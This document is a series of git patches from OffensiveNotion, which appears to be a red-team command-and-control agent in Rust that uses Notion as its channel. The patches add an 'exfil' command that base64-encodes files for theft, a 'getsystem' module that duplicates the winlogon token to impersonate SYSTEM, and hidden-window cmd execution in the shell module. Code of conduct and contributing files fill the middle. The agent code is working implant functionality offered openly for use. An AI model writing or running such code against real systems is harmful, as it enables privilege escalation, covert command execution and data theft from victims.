From b89c5c3a82f9d5a04ab185671d3fb1eb86d8c0a5 Mon Sep 17 00:00:00 2001 From: husky Date: Sat, 23 Apr 2022 16:29:44 -0400 Subject: [PATCH 01/14] exfil prototype --- agent/src/cmd/exfil.rs | 50 ++++++++++++++++++++++++++++++++++++++++++ agent/src/cmd/mod.rs | 4 ++++ 2 files changed, 54 insertions(+) create mode 100644 agent/src/cmd/exfil.rs diff --git a/agent/src/cmd/exfil.rs b/agent/src/cmd/exfil.rs new file mode 100644 index 0000000..5334e81 --- /dev/null +++ b/agent/src/cmd/exfil.rs @@ -0,0 +1,50 @@ +use litcrypt::lc; +use std::error::Error; +use std::fs::File; +use base64::encode; +use std::io::Read; +use std::str; + +use crate::cmd::{CommandArgs, notion_out}; +use crate::config::ConfigOptions; +use crate::logger::{Logger}; + + + +pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptions, logger: &Logger) -> Result> { + + let args: Vec = cmd_args.collect(); + if args.len() != 1 { + return notion_out!("[-] Exfil takes one argument. Example: exfil [path] 🎯"); + } + + else { + // path to file to exfiltrate + let path = &args[0]; + let mut buffer = Vec::new(); + let mut f = match File::open(path) { + Ok(f) => f, + Err(e) => { + return notion_out!("[-] File does not exist"); + } + }; + f.read_to_end(&mut buffer)?; + // base64 encode it + let b64_enc = base64::encode(&buffer); + // send it off! + + // TODO: + // opportunity here to XOR these bytes with a predetermined key for good OPSEC + + + // TODO: + // roughly, base64 encoded data is 1.37 times the size of the original + // 2MB of b64 encoded data is 2,000,000 bytes give or take + // So if the base64 encoded data is longer than 2,740,000, this is a larger file + // If it's a larger file, make a new subpage in Notion and add the b64 encoded data without landing it into a code block + + Ok(b64_enc) + } +} + + diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index d57674f..f8a0a61 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -26,6 +26,7 @@ mod whoami; mod unknown; mod selfdestruct; mod sysinfo; +mod exfil; /// Uses litcrypt to encrypt output strings /// and create `Ok(String)` output @@ -51,6 +52,7 @@ pub enum CommandType { Config, Download, Elevate, + Exfil, Getprivs, Inject, Portscan, @@ -173,6 +175,7 @@ impl NotionCommand { "config" => CommandType::Config, "download" => CommandType::Download, "elevate" => CommandType::Elevate, + "exfil" => CommandType::Exfil, "getprivs" => CommandType::Getprivs, "inject" => CommandType::Inject, "persist" => CommandType::Persist, @@ -201,6 +204,7 @@ impl NotionCommand { CommandType::Config => config::handle(&mut self.args, config_options, logger).await, CommandType::Download => download::handle( &mut self.args, logger).await, CommandType::Elevate => elevate::handle(&mut self.args, config_options).await, + CommandType::Exfil => exfil::handle(&mut self.args, config_options, logger).await, CommandType::Getprivs => getprivs::handle().await, CommandType::Inject => inject::handle(&mut self.args, logger).await, CommandType::Persist => persist::handle(&mut self.args, config_options, logger).await, From 8ca4bd13bc24ff4c7925175e709605de4dafbc78 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Wed, 27 Apr 2022 23:21:58 -0700 Subject: [PATCH 02/14] Add CoC and Contrib files --- CODE_OF_CONDUCT.md | 70 +++++++++++++++++++++++ CONTRIBUTING.md | 138 +++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 208 insertions(+) create mode 100644 CODE_OF_CONDUCT.md create mode 100644 CONTRIBUTING.md diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..46a2f80 --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,70 @@ +# Code of Conduct - OffensiveNotion + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as +contributors and maintainers pledge to make participation in our project and +our community a harassment-free experience for everyone, regardless of age, body +size, disability, ethnicity, sex characteristics, gender identity and expression, +level of experience, education, socio-economic status, nationality, personal +appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to a positive environment for our +community include: + +* Demonstrating empathy and kindness toward other people +* Being respectful of differing opinions, viewpoints, and experiences +* Giving and gracefully accepting constructive feedback +* Accepting responsibility and apologizing to those affected by our mistakes, + and learning from the experience +* Focusing on what is best not just for us as individuals, but for the + overall community + +Examples of unacceptable behavior include: + +* The use of sexualized language or imagery, and sexual attention or + advances +* Trolling, insulting or derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or email + address, without their explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying and enforcing our standards of +acceptable behavior and will take appropriate and fair corrective action in +response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or reject +comments, commits, code, wiki edits, issues, and other contributions that are +not aligned to this Code of Conduct, or to ban +temporarily or permanently any contributor for other behaviors that they deem +inappropriate, threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies within all community spaces, and also applies when +an individual is officially representing the community in public spaces. +Examples of representing our community include using an official e-mail address, +posting via an official social media account, or acting as an appointed +representative at an online or offline event. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported to the community leaders responsible for enforcement at <>. +All complaints will be reviewed and investigated promptly and fairly. + +All community leaders are obligated to respect the privacy and security of the +reporter of any incident. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant](https://contributor-covenant.org/), version +[1.4](https://www.contributor-covenant.org/version/1/4/code-of-conduct/code_of_conduct.md) and +[2.0](https://www.contributor-covenant.org/version/2/0/code_of_conduct/code_of_conduct.md), +and was generated by [contributing-gen](https://github.com/bttger/contributing-gen). \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..aaf7d90 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,138 @@ + +# Contributing to OffensiveNotion + +First off, thank you for taking the time to contribute! ❤️ + +Contributions are very welcome, provided they adhere to the requests outline here. See the [Table of Contents](#table-of-contents) for different ways to help and details about how this project handles them. Please make sure to read the relevant section before making your contribution. + +> And if you like the project, but just don't have time to contribute, that's fine. There are other easy ways to support the project and show your appreciation, which we would also be very happy about: +> - Star the project +> - Tweet about it +> - Refer this project in your project's readme +> - Mention the project at local meetups and tell your friends/colleagues + + +## Table of Contents + +- [Code of Conduct](#code-of-conduct) +- [I Have a Question](#i-have-a-question) +- [I Want To Contribute](#i-want-to-contribute) + - [Reporting Bugs](#reporting-bugs) + - [Suggesting Enhancements](#suggesting-enhancements) + - [Your First Code Contribution](#your-first-code-contribution) +- [Attribution](#attribution) + + +## Code of Conduct + +This project and everyone participating in it is governed by the +[OffensiveNotion Code of Conduct](https://github.com/mttaggart/offensivenotionblob/master/CODE_OF_CONDUCT.md). +By participating, you are expected to uphold this code. Please report unacceptable behavior +to mtaggart@taggart-tech.com. + + +## I Have a Question + +If you want to ask a question, we hope that you'll first review the available [Documentation](https://github.com/mttaggart/offensivenotion/wiki). + +If you still feel the need to ask a question and need clarification, we recommend the following: + +- Open an [Issue](https://github.com/mttaggart/offensivenotion/issues/new). +- Provide as much context as you can about what you're running into. + +## I Want To Contribute + +> ### Legal Notice +> When contributing to this project, you must agree that you have authored 100% of the content, that you have the necessary rights to the content, and that the content you contribute may be provided under the project license. + +### Reporting Bugs + + +#### Before Submitting a Bug Report + +A good bug report shouldn't leave others needing to chase you up for more information. Therefore, we ask you to investigate carefully, collect information, and describe the issue in detail in your report. Please complete the following steps in advance to help us fix any potential bug as fast as possible. + +- Make sure that you are using the latest version. +- As always, please review the [documentation](https://github.com/mttaggart/offensivenotion/wiki) to confirm your build and deployment procedure is correct. +- To see if other users have experienced (and potentially already solved) the same issue you are having, check if there is not already a bug report existing for your bug or error in the [bug tracker](https://github.com/mttaggart/offensivenotionissues?q=label%3Abug). +- Collect information about the bug: + - Stack trace (Traceback) + - OS, Platform and Version (Windows, Linux, macOS, architecture) + - Version of the agent and compiler (rustc) + - Steps to reproduce the issue + - Any logging output + + +#### How Do I Submit a Good Bug Report? + +> You must never report security related issues, vulnerabilities or bugs including sensitive information to the issue tracker, or elsewhere in public. Instead sensitive bugs must be sent by email to mtaggart@taggart-tech.com. + + +We use GitHub issues to track bugs and errors. If you run into an issue with the project: + +- Open an [Issue](https://github.com/mttaggart/offensivenotion/issues/new). Since we can't be sure at this point whether it is a bug or not, we ask you not to talk about a bug yet and not to label the issue. +- Explain the behavior you would expect and the actual behavior. +- Please provide as much context as possible and describe the *reproduction steps* that someone else can follow to recreate the issue on their own. This usually includes your code. For good bug reports you should isolate the problem and create a reduced test case. +- Provide the information you collected in the previous section. + +Once it's filed: + +- The project team will label the issue accordingly. +- A team member will try to reproduce the issue with your provided steps. If there are no reproduction steps or no obvious way to reproduce the issue, the team will ask you for those steps and mark the issue as `needs-repro`. Bugs with the `needs-repro` tag will not be addressed until they are reproduced. +- If the team is able to reproduce the issue, it will be marked `needs-fix`, as well as possibly other tags (such as `critical`), and the issue will be left to be [implemented by someone](#your-first-code-contribution). + + + + +### Suggesting Enhancements + +This section guides you through submitting an enhancement suggestion for OffensiveNotion, **including completely new features and minor improvements to existing functionality**. Following these guidelines will help maintainers and the community to understand your suggestion and find related suggestions. + + +#### Before Submitting an Enhancement + +- Make sure that you are using the latest version. +- Read the [documentation](https://github.com/mttaggart/offensivenotion/wiki) carefully and find out if the functionality is already covered, maybe by an individual configuration. +- Perform a [search](https://github.com/mttaggart/offensivenotion/issues) to see if the enhancement has already been suggested. If it has, add a comment to the existing issue instead of opening a new one. +- Find out whether your idea fits with the scope and aims of the project. It's up to you to make a strong case to convince the project's developers of the merits of this feature. Keep in mind that we want features that will be useful to the majority of our users and not just a small subset. If you're just targeting a minority of users, consider writing an add-on/plugin library. + + +#### How Do I Submit a Good Enhancement Suggestion? + +Enhancement suggestions are tracked as [GitHub issues](https://github.com/mttaggart/offensivenotion/issues). + +- Use a **clear and descriptive title** for the issue to identify the suggestion. +- Provide a **step-by-step description of the suggested enhancement** in as many details as possible. +- **Describe the current behavior** and **explain which behavior you expected to see instead** and why. At this point you can also tell which alternatives do not work for you. +- You may want to **include screenshots and animated GIFs** which help you demonstrate the steps or point out the part which the suggestion is related to. +- **Explain why this enhancement would be useful** to most OffensiveNotion users. You may also want to point out the other projects that solved it better and which could serve as inspiration. + + + +### Your First Code Contribution + +We ask that initial code contributions and pull requests be tied to **open issues**, be they bugs or enhancements. If existing issues don't appear to match up to your contribution, please open the issue first and wait for the maintainers to either validate the bug or approve the enhancement. + +Look for issues with the `good-first-issue` tag for places to get started! + + + + + + + + + + + +omit in toc +## Attribution +This guide is based on the **contributing-gen**. [Make your own](https://github.com/bttger/contributing-gen)! From 875dd39a896ac86b551675103c5ece44ed8b855e Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Thu, 28 Apr 2022 06:06:27 -0700 Subject: [PATCH 03/14] Fix uncomemented line --- CONTRIBUTING.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index aaf7d90..c3ac480 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -20,7 +20,6 @@ Contributions are very welcome, provided they adhere to the requests outline her - [Reporting Bugs](#reporting-bugs) - [Suggesting Enhancements](#suggesting-enhancements) - [Your First Code Contribution](#your-first-code-contribution) -- [Attribution](#attribution) ## Code of Conduct @@ -133,6 +132,6 @@ Updating, improving and correcting the documentation -omit in toc + ## Attribution This guide is based on the **contributing-gen**. [Make your own](https://github.com/bttger/contributing-gen)! From 855c2c1724663e835d878fde4faea2879e7ce393 Mon Sep 17 00:00:00 2001 From: HuskyHacks <57866415+HuskyHacks@users.noreply.github.com> Date: Fri, 29 Apr 2022 06:20:09 -0400 Subject: [PATCH 04/14] Update CODE_OF_CONDUCT.md --- CODE_OF_CONDUCT.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md index 46a2f80..b8f661d 100644 --- a/CODE_OF_CONDUCT.md +++ b/CODE_OF_CONDUCT.md @@ -56,7 +56,7 @@ representative at an online or offline event. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be -reported to the community leaders responsible for enforcement at <>. +reported to the community leaders responsible for enforcement at huskyhacks.mk@gmail.com. All complaints will be reviewed and investigated promptly and fairly. All community leaders are obligated to respect the privacy and security of the @@ -67,4 +67,4 @@ reporter of any incident. This Code of Conduct is adapted from the [Contributor Covenant](https://contributor-covenant.org/), version [1.4](https://www.contributor-covenant.org/version/1/4/code-of-conduct/code_of_conduct.md) and [2.0](https://www.contributor-covenant.org/version/2/0/code_of_conduct/code_of_conduct.md), -and was generated by [contributing-gen](https://github.com/bttger/contributing-gen). \ No newline at end of file +and was generated by [contributing-gen](https://github.com/bttger/contributing-gen). From 732682dd8050416803066fb4b4ff1f26e93e4eda Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Wed, 18 May 2022 19:51:12 -0700 Subject: [PATCH 05/14] Working getsystem??? --- agent/src/cmd/getsystem.rs | 101 +++++++++++++++++++++++++++++++++++++ agent/src/cmd/mod.rs | 4 ++ 2 files changed, 105 insertions(+) create mode 100755 agent/src/cmd/getsystem.rs diff --git a/agent/src/cmd/getsystem.rs b/agent/src/cmd/getsystem.rs new file mode 100755 index 0000000..9b76b36 --- /dev/null +++ b/agent/src/cmd/getsystem.rs @@ -0,0 +1,101 @@ +#[cfg(windows)] use windows::{ + core::{PSTR, PWSTR, PCWSTR}, + Win32::{ + Foundation::{ + CloseHandle, + HANDLE + }, + System::Threading::{ + GetCurrentProcess, + OpenProcessToken, + OpenProcess, + PROCESS_ALL_ACCESS + }, + Security::{ + GetTokenInformation, + DuplicateToken, + ImpersonateLoggedOnUser, + SecurityImpersonation, + TokenElevation, + TOKEN_ELEVATION, + TOKEN_QUERY, + TOKEN_DUPLICATE + } + } +}; + +#[cfg(windows)] use std::mem; +#[cfg(windows)] use std::ffi::c_void; +#[cfg(windows)] use libc; +#[cfg(windows)] use sysinfo::{ProcessExt, PidExt, System, SystemExt, Pid, Process}; +#[cfg(windows)] use whoami; +use std::error::Error; +use litcrypt::lc; +#[cfg(windows)] use crate::cmd::getprivs::is_elevated; +use crate::logger::{Logger, log_out}; +use crate::cmd::notion_out; + +#[cfg(windows)] +fn get_processes(proc_name: &str) -> Vec<(u32, String)> { + let sys = System::new_all(); + sys.processes() + .iter() + .filter(|(_, n) | { + n.name().to_lowercase().contains(proc_name) + }) + .map(|(p, n)| { + (p.as_u32(), n.name().to_owned()) + }) + .collect() +} + +/// Lists processes. Returns PID and process name. +pub async fn handle(logger: &Logger) -> Result> { + #[cfg(windows)] { + if is_elevated() { + unsafe { + println!("[+] Elevated! Let's get that SYSTEM"); + + let mut winlogon_token_handle = HANDLE(0); + let mut duplicate_token_handle = HANDLE(0); + let winlogon_processes = get_processes("winlogon"); + if winlogon_processes.is_empty() { + return notion_out!("Couldn't find winlogon!"); + } + let winlogon_pid: u32 = winlogon_processes[0].0; + println!("[+] Winlogon pid: {:?}", winlogon_pid); + // OpenProcess + let winlogon_proc_handle = OpenProcess(PROCESS_ALL_ACCESS, false, winlogon_pid); + println!("[+] Winlogon Proc Handle: {:?}", winlogon_proc_handle); + // OpenProcessToken + if OpenProcessToken(winlogon_proc_handle, TOKEN_DUPLICATE, &mut winlogon_token_handle).0 != 0 { + println!("[+] Got Winlogon Token: {:?}", winlogon_token_handle); + } else { + return notion_out!("[!] Couldn't get Winlogon Token!"); + } + // Duplicate Token + if DuplicateToken(winlogon_token_handle, SecurityImpersonation, &mut duplicate_token_handle).0 != 0 { + println!("[+] Duplicated Token!"); + } else { + return notion_out!("[!] Couldn't duplicate token!"); + } + // ImpersonateLoggedOnUser + if ImpersonateLoggedOnUser(duplicate_token_handle).0 != 0 { + println!("[+] Impersonated!"); + CloseHandle(winlogon_proc_handle); + return notion_out!("[+] I am now ", whoami::username().as_str()); + } + return notion_out!("Couldn't get system!"); + // Close Handles + // CloseHandle(duplicate_token_handle); + + } + + } else { + notion_out!("[!] You ain't got da JUICE!") + } + } + #[cfg(not(windows))] { + notion_out!("This module only works on Windows!") + } +} \ No newline at end of file diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index d57674f..56d5c35 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -13,6 +13,7 @@ mod config; mod download; pub mod elevate; pub mod getprivs; +mod getsystem; mod inject; mod persist; mod portscan; @@ -52,6 +53,7 @@ pub enum CommandType { Download, Elevate, Getprivs, + Getsystem, Inject, Portscan, Persist, @@ -174,6 +176,7 @@ impl NotionCommand { "download" => CommandType::Download, "elevate" => CommandType::Elevate, "getprivs" => CommandType::Getprivs, + "getsystem" => CommandType::Getsystem, "inject" => CommandType::Inject, "persist" => CommandType::Persist, "portscan" => CommandType::Portscan, @@ -202,6 +205,7 @@ impl NotionCommand { CommandType::Download => download::handle( &mut self.args, logger).await, CommandType::Elevate => elevate::handle(&mut self.args, config_options).await, CommandType::Getprivs => getprivs::handle().await, + CommandType::Getsystem => getsystem::handle(logger).await, CommandType::Inject => inject::handle(&mut self.args, logger).await, CommandType::Persist => persist::handle(&mut self.args, config_options, logger).await, CommandType::Portscan => portscan::handle(&mut self.args, logger).await, From fb834ee3b8fa8b53ede646055074018499b4fe6f Mon Sep 17 00:00:00 2001 From: pikachu Date: Mon, 30 May 2022 20:57:29 +0800 Subject: [PATCH 06/14] add additional encoding support in shell module --- .DS_Store | Bin 0 -> 6148 bytes agent/Cargo.toml | 1 + agent/src/cmd/shell.rs | 17 ++++++++++++----- utils/__pycache__/__init__.cpython-36.pyc | Bin 0 -> 206 bytes utils/__pycache__/c2_linter.cpython-36.pyc | Bin 0 -> 1111 bytes utils/__pycache__/colors.cpython-36.pyc | Bin 0 -> 325 bytes utils/__pycache__/file_utils.cpython-36.pyc | Bin 0 -> 721 bytes utils/__pycache__/inputs.cpython-36.pyc | Bin 0 -> 912 bytes utils/__pycache__/web_delivery.cpython-36.pyc | Bin 0 -> 6352 bytes 9 files changed, 13 insertions(+), 5 deletions(-) create mode 100644 .DS_Store create mode 100644 utils/__pycache__/__init__.cpython-36.pyc create mode 100644 utils/__pycache__/c2_linter.cpython-36.pyc create mode 100644 utils/__pycache__/colors.cpython-36.pyc create mode 100644 utils/__pycache__/file_utils.cpython-36.pyc create mode 100644 utils/__pycache__/inputs.cpython-36.pyc create mode 100644 utils/__pycache__/web_delivery.cpython-36.pyc diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..5008ddfcf53c02e82d7eee2e57c38e5672ef89f6 GIT binary patch literal 6148 zcmeH~Jr2S!425mzP>H1@V-^m;4Wg<&0T*E43hX&L&p$$qDprKhvt+--jT7}7np#A3 zem<@ulZcFPQ@L2!n>{z**++&mCkOWA81W14cNZlEfg7;MkzE(HCqgga^y>{tEnwC%0;vJ&^%eQ zLs35+`xjp>T0 Result> { let output: std::process::Output; #[cfg(windows)] { + use std::os::windows::process::CommandExt; output = Command::new("cmd") + .creation_flags(0x08000000) .arg("/c") .arg(cmd_args.to_string()) .output() @@ -39,9 +44,11 @@ pub async fn handle(cmd_args: &mut CommandArgs) -> Result let output_string: String; if output.stderr.len() > 0 { - output_string = String::from_utf8(output.stderr).unwrap(); + let result1:&[u8] = &output.stderr; + output_string = GB18030.decode(result1, DecoderTrap::Strict).unwrap_or("Pls check your command or args.".to_string()); } else { - output_string = String::from_utf8(output.stdout).unwrap(); + let result2:&[u8] = &output.stdout; + output_string = GB18030.decode(result2, DecoderTrap::Strict).unwrap_or("Some decode error.".to_string()); } Ok(output_string) } \ No newline at end of file diff --git a/utils/__pycache__/__init__.cpython-36.pyc b/utils/__pycache__/__init__.cpython-36.pyc new file mode 100644 index 0000000000000000000000000000000000000000..ce5ab52b45672aa7c47782ab57363e109e38a50c GIT binary patch literal 206 zcmX|*u?~VT7=()oDv`yvV6h3V#yC6R;KuStYzu!z)lzrHMX1`|8W#(c9D0k= zxaBniiOTZMt?s-8#wFf(H{@yH<^UHd0bZnw{Pt*{j5f;Bx)O#~XzRYDCn2~pzLjf> bTG4Ts0-!<*uxSUk*fpBY}F5GD89vaHxi>!d{wJQYw-Yhwinf}kj>xJqHfkc>!e)4eR#ORlu`YPlh~ zMzoc3h*(;0Q_|;rH&D-v|rRrY1gPN1@8g|3e~nsRmLE~UaG*2H~64^)DKUNN7HaR zoJ;}W6i_l(L8}lPkSb-e`s{Q(nWp(n|6g}yqlFAkk9)nIE~3@e?wmywV|et>Md<6}ne7NCk$5wd)0)(Rg}19)+MTd^-HG?wk&u4dH*MgKvl7@i&3@ z-LsSM@nA9x%u-~c1=<4ZjMHU}MUB}XNbE!CpZoqISN?pKNPm{9d3olKlZ53my=0s3 z`=v@V>Bs$0PYx3>PWAR?4np032Uz6i;E-+MmT6!EcWeVY&FLnb+ISb=!7c2;zK_Kn z$n4sIBYAwml<2^@~ literal 0 HcmV?d00001 diff --git a/utils/__pycache__/colors.cpython-36.pyc b/utils/__pycache__/colors.cpython-36.pyc new file mode 100644 index 0000000000000000000000000000000000000000..911c3deeee783d5f5ce48bb5f4e9b5a2a5a9f560 GIT binary patch literal 325 zcmX|*u};G<5Qgo^De!3E!NAAWG!4hp%Vi~1R%hzB z10}QMJ~l)&g{1B>PLlb9A&TcYb#51NoElO}$qcz#UZ%zubt{$58cpp*d~JeOiAKjt zN%fAD4|xN=Polcf(WWfAs1$nBucLWU@TL=6o=Pob6ZKkDT{Kkbj@zB_&T7f}il1W$ M=>ovm3h>|l08Cj@+5i9m literal 0 HcmV?d00001 diff --git a/utils/__pycache__/file_utils.cpython-36.pyc b/utils/__pycache__/file_utils.cpython-36.pyc new file mode 100644 index 0000000000000000000000000000000000000000..37dc9a3a77ac1ce8deffff689eb4fdebbf87bd72 GIT binary patch literal 721 zcmYjPOK;Oa5Z<-dj!D$2Di3i&t12Q&MdAaTDuj?gJ%;j-iY%eTi6@OCzq-3l8)~1z z4WV8*bLTJZl@ot~6SF2r8EYQj&d$uI@jl(#Yp;KNpK?aXFR~*R#xGH27fnPWnvme1 zrvYuS6_HepETH$)^XkTd}26*-N*wDtBXTC?%K2=j5D3>@9gmKJG-Swe%{2_wQ^h zN)WY8j2#h044FBfzqUEb8Hjli@SgO0-J2p*3Pe`-3=mKxb&nr)Z{{&J4pXR) zCc~ys)2q|IrCFLspxp=(P%!Fuv?V~dW_em*f%X)ng((dVM_3$vK$weAtWQmr`OQ+Va%Qa10K%aJ-!y1)fTaaWmSJ zV%9{OC2kjT~ z9B0jH%@dLPXo%Z(4`>^|W42GleLU$i;h+;8W6T?BPMgU)<{l=r_Z)XvCh&qHlIF!e GwEhCOZpMfJ literal 0 HcmV?d00001 diff --git a/utils/__pycache__/inputs.cpython-36.pyc b/utils/__pycache__/inputs.cpython-36.pyc new file mode 100644 index 0000000000000000000000000000000000000000..10d7f7ecb325fbdd09a5dc00e9568a063413c6ad GIT binary patch literal 912 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 literal 0 HcmV?d00001 From d36e3b75b87d53ecba15e153aeb3c9e6abd992b0 Mon Sep 17 00:00:00 2001 From: pikachu Date: Mon, 30 May 2022 22:36:38 +0800 Subject: [PATCH 07/14] add additional encoding support in shell module & avoid agent from crashing --- .DS_Store | Bin 6148 -> 0 bytes utils/__pycache__/__init__.cpython-36.pyc | Bin 206 -> 0 bytes utils/__pycache__/c2_linter.cpython-36.pyc | Bin 1111 -> 0 bytes utils/__pycache__/colors.cpython-36.pyc | Bin 325 -> 0 bytes utils/__pycache__/file_utils.cpython-36.pyc | Bin 721 -> 0 bytes utils/__pycache__/inputs.cpython-36.pyc | Bin 912 -> 0 bytes utils/__pycache__/web_delivery.cpython-36.pyc | Bin 6352 -> 0 bytes 7 files changed, 0 insertions(+), 0 deletions(-) delete mode 100644 .DS_Store delete mode 100644 utils/__pycache__/__init__.cpython-36.pyc delete mode 100644 utils/__pycache__/c2_linter.cpython-36.pyc delete mode 100644 utils/__pycache__/colors.cpython-36.pyc delete mode 100644 utils/__pycache__/file_utils.cpython-36.pyc delete mode 100644 utils/__pycache__/inputs.cpython-36.pyc delete mode 100644 utils/__pycache__/web_delivery.cpython-36.pyc diff --git a/.DS_Store b/.DS_Store deleted file mode 100644 index 5008ddfcf53c02e82d7eee2e57c38e5672ef89f6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6148 